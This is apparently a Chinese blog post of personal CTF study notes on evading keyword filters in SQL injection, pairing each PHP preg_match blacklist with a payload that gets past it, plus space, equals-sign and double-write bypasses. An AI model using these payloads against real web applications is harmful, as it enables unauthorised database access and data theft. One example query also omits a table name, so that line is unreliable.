![10eb06e0ab97b98c819209587fa67cd6.gif](https://i-blog.csdnimg.cn/blog_migrate/cf6ebc67b19f68335c475aa35e81b1dc.gif)
点击上方蓝字关注!
注:本篇文章为个人学习笔记仅供学习交流。目录
or和and过滤绕过方法
union过滤绕过方法
where过滤绕过
limit过滤绕过
group by过滤绕过
select及单引号过滤绕过
hex、unhex及substr过滤绕过
空格过滤绕过
等号过滤绕过
其他过滤绕过
表结构
or和and过滤绕过方法
过滤代码
preg_match('/(and|or)/i',$id)
绕过方法
or改为||
and改为&&
union过滤绕过方法
过滤代码
preg_match('/(and|or|union)/i',$id)
绕过方法
union语句部分改为or判断
如
select * from users where id=1 || (select count(*) from users)>0;
where过滤绕过
过滤代码
preg_match('/(and|or|union|where)/i',$id)
过滤情况
1 || (select name from users where user_id=1) ='admin'
绕过方法
1 || (select name from users limit 1,1) ='admin'
limit过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit)/i',$id)
过滤情况
1 || (select user from users limit 1,1) ='admin'
绕过方法
1 || (select min(user) from group by user_id having user_id=1)='admin'
group by过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by)/i',$id)
过滤情况
1 || (select min(user) from group by user_id having user_id=1)='admin'
绕过方法
1|| (select substr((select group_concat(name)name from test),1,1))='t'
select及单引号过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\')/i',$id)
过滤情况
1|| (select substr((select group_concat(name)name from test),1,1))='t'
绕过代码
1 || substr(name,1,1)=0x74 或 1 || substr(name,1,1)=unhex(74)
hex、unhex及substr过滤绕过
过滤代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id)
过滤情况
1 || substr(name,1,1)=unhex(74)
绕过代码
1 || binary(name)>0x74
空格过滤绕过
绕过方法
通过将空格进行URL编码或使用注释/**/代替空格。
等号过滤绕过
绕过方法
将等号用like关键字代替。
其他绕过
双写绕过,针对关键字匹配替换空格的绕过,如ununionion。
更多请参考CTF自学笔记(二)SQL注入攻击[三]
end
往期推荐
?
Web安全(二)SQL注入[三]
Web安全(二)SQL注入[四]
Web安全(二)SQL注入[五]